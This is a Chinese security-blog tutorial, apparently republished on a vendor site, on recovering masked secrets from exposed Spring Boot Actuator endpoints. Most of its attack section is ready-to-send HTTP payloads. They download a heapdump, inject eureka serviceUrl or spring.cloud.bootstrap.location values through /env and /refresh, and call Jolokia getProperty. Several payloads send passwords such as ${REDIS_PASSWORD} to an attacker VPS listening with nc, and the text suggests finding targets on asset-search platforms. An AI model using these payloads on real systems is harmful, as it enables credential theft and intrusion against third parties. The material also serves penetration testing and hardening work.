长亭百川云 - 文章详情

Spring未授权星号脱敏获取

迪哥讲事

57

2024-07-25

一.漏洞介绍

spring actuator是springboot用来管理资源处理数据、映射url端点等具有一系列功能的工具,当没有配置安全访问时,就会把一些端点数据和数据库敏感信息暴露在外

/autoconfig  提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过  
/beans  描述应用程序上下文里全部的Bean,以及它们的关系  
/env  获取全部环境属性  
/configprops  描述配置属性(包含默认值)如何注入Bean  
/dump  获取线程活动的快照  
/health  报告应用程序的健康指标,这些值由HealthIndicator的实现类提供  
/info  获取应用程序的定制信息,这些信息由info打头的属性提供  
/mappings  描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系  
/metrics  报告各种应用程序度量信息,比如内存用量和HTTP请求计数  
/shutdown  关闭应用程序,要求endpoints.shutdown.enabled设置为true  
/trace  提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

1.x版本直接访问以上端点,2.x版本需要加上actuator路径

二.实战

可在相关资产测绘平台搜索springboot相关资产

poc地址如下

https://github.com/jiankeguyue/nuclei\_pocs/blob/main/springboot\_actuator\_information\_leakage.yaml

现在需要获取星号敏感信息

1.利用方式1:heapdump文件

heapdump文件是java进程在某个时间段的内存快照,其中可能包含了数据库的账号密码

漏洞利用工具参照上一篇文章

env界面存在heapdump端点

直接进行下载

java -jar heapdump\_tool.jar heapdump

成功获取

2.利用方式2:eureka-client完成数据脱敏

利用条件:  
可以 GET 请求目标网站的 /env  
可以 POST 请求目标网站的 /env  
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)  
目标使用了 spring-cloud-starter-netflix-eureka-client 依赖  
目标可以请求攻击者的服务器(请求可出外网)

目标使用了eureka-client

GET 请求目标网站的 /env
或 /actuator/env
接口,搜索 ******
关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名

比如这个

redis数据库的密码

然后在自己控制的外网服务器上监听端口

比如

nc -lvk 3333

然后发送数据包

1.x版本连续发送这两个数据包

POST /env  
Content-Type: application/x-www-form-urlencoded  
  
eureka.client.serviceUrl.defaultZone=http://value:${REDIS\_PASSWORD}@your vps:3333
POST /refresh  
Content-Type: application/x-www-form-urlencoded

这里返回了数据包

Authorization: Basic xxxxxx

xxxx后面就是可以用来解码的数据

可惜的是这种方式无法适用于被明文数据中有特殊 url 字符的情况,比如@

如下所示

3.利用方式3:利用env直接发包

spring1.x

1  
POST /env  
Content-Type: application/x-www-form-urlencoded  
  
spring.cloud.bootstrap.location=http://yourvps:3333/?=${REDIS\_PASSWORD}  
  
  
  
2  
POST /refresh  
Content-Type: application/x-www-form-urlencoded

2.x版本就改为

1  
POST /actuator/env  
Content-Type: application/json  
  
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}  
  
2  
POST /actuator/refresh  
Content-Type: application/json

不出意外获得的数据会是这样的

是明文数据,不需要解码

4.利用方式4:jolokia利用

目标网站存在 /jolokia 或 /actuator/jolokia 接口  
目标使用了 jolokia-core 依赖(版本要求暂未知)

poc1

POST /jolokia  
Content-Type: application/json  
  
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": \["security.user.password"\]}

poc2

POST /jolokia  
Content-Type: application/json  
  
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": \["security.user.password"\]}

明文值结果包含在 response 数据包中的 value
键中。

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放

往期回顾

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2